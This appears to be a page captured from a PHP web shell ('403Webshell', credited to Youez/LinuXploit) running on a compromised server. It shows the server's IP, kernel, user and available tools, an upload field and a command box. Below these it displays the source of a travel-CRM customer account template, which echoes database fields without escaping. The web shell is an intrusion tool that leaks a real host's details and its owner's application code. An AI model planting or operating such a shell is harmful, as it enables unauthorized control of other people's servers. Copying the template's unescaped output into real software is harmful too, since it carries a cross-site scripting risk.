403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/customer/customer-account.phtml
<?php
$customerDetail = $this->customerDetail;
$sourceCity = $this->sourceCity;
$CustomerSysId = $customerDetail['CustomerSysId'];
function CheckNumber($x) {
    if ($x >= 0) {
        $message = "(Cr)";
    } else {
        $message = "(Dr)";
    }
    return $message;
}
?>
<link rel="stylesheet" href="<?php echo $this->baseUrl('public/assets/css/plugins/summernote.css'); ?>">
<section id="min-wrapper" class="active">
    <div id="main-content">
        <div class="container-fluid">
            <div class="row">
                <div class="col-md-12">
                    <h3 class="ls-top-header">Lead Detail</h3>
                    <?php
                    if ($this->customerDetail['IsB2BAgent'] == 1) {
                        echo $this->partial('customer/nav_b2b_customer.phtml', array('pageName' => 'Profile'));
                    } else {
                        echo $this->partial('customer/nav_customer.phtml', array('pageName' => 'Profile'));
                    }
                    ?>
                </div>
            </div>
            <div class="row">
<?php echo $this->partial('customer/customerpartial.phtml', array('customerDetail' => $this->customerDetail, 'sourceCity' => $sourceCity, 'packageThemeList' => $this->packageThemeList, 'foodPreferenceList' => $this->foodPreferenceList, 'packageInclusionList' => $this->packageInclusionList, 'searchHotelResult' => $this->searchHotelResult, 'country' => $this->country)); ?>
                <div class="col-md-12">
                    <div class="query_listing_bg query_listing_bg_padding_20">
                        <div class="panel panel-primary">
                            <div class="panel-heading">
                                <h3 class="panel-title">Account</h3>
                            </div>
                            <div class="panel-body table-responsive no-padding">
                                <table class="table tablestyle leadeBorder2">
                                    <tbody>
                                        <tr class="alert alert-graylight">
                                            <th class="small smallbold">Date</th>
                                            <th class="small smallbold">Service</th>
                                            <th class="small smallbold">Reference</th>
    <!--                                        <th class="small smallbold">Ref No</th>-->
                                            <th class="small smallbold">Dr</th>
                                            <th class="small smallbold">Cr</th>
                                            <th class="small smallbold">Balance</th>
                                        </tr>
                                        <?php
                                        if (!empty($this->paginator)) {
                                            $customhelper = Zend_Controller_Action_HelperBroker::getStaticHelper('Custom');
                                            foreach ($this->paginator as $customerBookingRecord) {

                                                $CustomerSysId = $customerBookingRecord['CustomerSysId'];
                                                $TPSysId = $customerBookingRecord['TPSysId'];
                                                $dr = '';
                                                $cr = '';
                                                if ($customerBookingRecord['TrxType'] == 0) {
                                                    $dr = number_format($customerBookingRecord['NetAmount'], 2);
                                                } else {
                                                    $cr = number_format($customerBookingRecord['NetAmount'], 2);
                                                }
                                                ?>
                                                <tr>
                                                    <td><?php echo $customerBookingRecord['TrxDate']->format("d-M-Y H:i:s"); ?></td>
                                                    <td><?php echo $customhelper->getPlanTypeName($customerBookingRecord['PlanType']); ?></td>
                                                    <td><?php echo $customerBookingRecord['Remarks']; ?></td>
                                                    <td><?php echo $dr; ?></td>
                                                    <td><a data-toggle="modal" data-target="#myModalViewPaymentEmail" href="<?php echo $this->baseUrl('customer/customer-account-payment-email/tpid/' . base64_encode($TPSysId) . '/cid/' . base64_encode($CustomerSysId)); ?>" ><?php echo $cr; ?></a></td>
                                                    <td><?php echo number_format(abs($customerBookingRecord['BalanceAmount']), 2) . CheckNumber($customerBookingRecord['BalanceAmount']); ?></td>
                                                </tr>
    <?php }
} ?>

                                    </tbody>
                                </table>
                            </div>
                        </div>
                        <div class="panel-box clearfix">
<?php if (!empty($this->paginator) ) { ?>
    <?php echo $this->paginationControl($this->paginator, 'Sliding', 'pagination.phtml'); ?>
<?php } ?>
                        </div>
                        <div class="clearfix"></div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>
<?php echo $this->render('copyrightfooter.phtml'); ?>
<?php echo $this->partial('customer/edit-customer-info.phtml', array('customerDetail' => $customerDetail, 'ARR_SALUTION' => $this->ARR_SALUTION, 'ARR_CUSTOMER_RELATION' => $this->ARR_CUSTOMER_RELATION, 'countryList' => $this->countryList, 'stateList' => $this->stateList)); ?>
<div class="modal fade" id="myModalviewPackage" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"
     aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            Please Wait...
        </div>
    </div>
</div>
<div class="modal fade in" id="myModalViewPaymentEmail" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="false" style="display: none;">
    <div class="modal-dialog modal-lg">
        <form class="resendPaymentForm" name="resendPaymentForm" action="javascript://" method="post" role="form">
            <div class="modal-content putPaymentEmailData">
                <div class="center ">
                    <img class="loaderimg" id="loaderimg"
                         src="<?php echo $this->baseUrl('/public/tinymce/skins/lightgray/img/loader.gif'); ?>" />
                </div>

            </div>
            <div class="modal-footer " style="background: #fff; position: relative;">
                <span class="sendmailSpan"></span>
                <button class="btn btn-warning sendmailBtn" type="submit">Send Mail</button>
            </div>
        </form>
    </div>
</div>
<?php include_once 'application/views/scripts/newfooter.phtml'; ?>
<?php echo $this->render('customer/customer-todo-header.phtml'); ?>
<script src="<?php echo $this->baseUrl('public/assets/js/summernote.min.js'); ?>"></script>
<script>
    $(document).ready(function () {
        $('#EmailContent').summernote({
            height: "300px",
            toolbar: [
                ['style', ['bold', 'italic', 'underline', 'clear']],
                ['color', ['color']],
                ['para', ['ul', 'ol']]
            ]
        });
    });
    $('#myModalviewPackage').on('hidden.bs.modal', function () {
        $(this).removeData('bs.modal');
    });
    $('#myModalViewPaymentEmail').on('hidden.bs.modal', function () {
        $(this).removeData('bs.modal');
        $('.putPaymentEmailData').html('');
    });
    $('.resendPaymentForm').on('submit', function () {
        var TPSysId = $('#myTPSysId').val();
        var CustomerSysId = '<?php echo $CustomerSysId;?>';
        $.ajax({
            url: '/customer/customer-account-payment-email/emailType/1/tpid/'+btoa(TPSysId)+'/cid/'+btoa(CustomerSysId),
            data: '',
            type: 'post',
            async: false,
            dataType: 'json',
            beforeSend: function (data) {
                $('.sendmailBtn').html('Pease wait..');
                $('.sendmailSpan').html('Pease wait..').css({'color':'red','display':'block'});
            },
            success: function (response) {
                if (response.status == true) {
                   alert(response.msg);
                } else {
                    alert(response.msg);
                }
                $('.sendmailBtn').html('Send Mail');
                $('.sendmailSpan').html('');
            },
            error: function () {
                alert("fail : Please try after some time");
                $('.sendmailBtn').html('Send Mail');
                $('.sendmailSpan').html('');
            }
        })




    })
    $('#myModalViewPaymentEmail').on('hidden.bs.modal', function () {
        $('.putPaymentEmailData').html('');
    });


</script>

Youez - 2016 - github.com/yon3zu
LinuXploit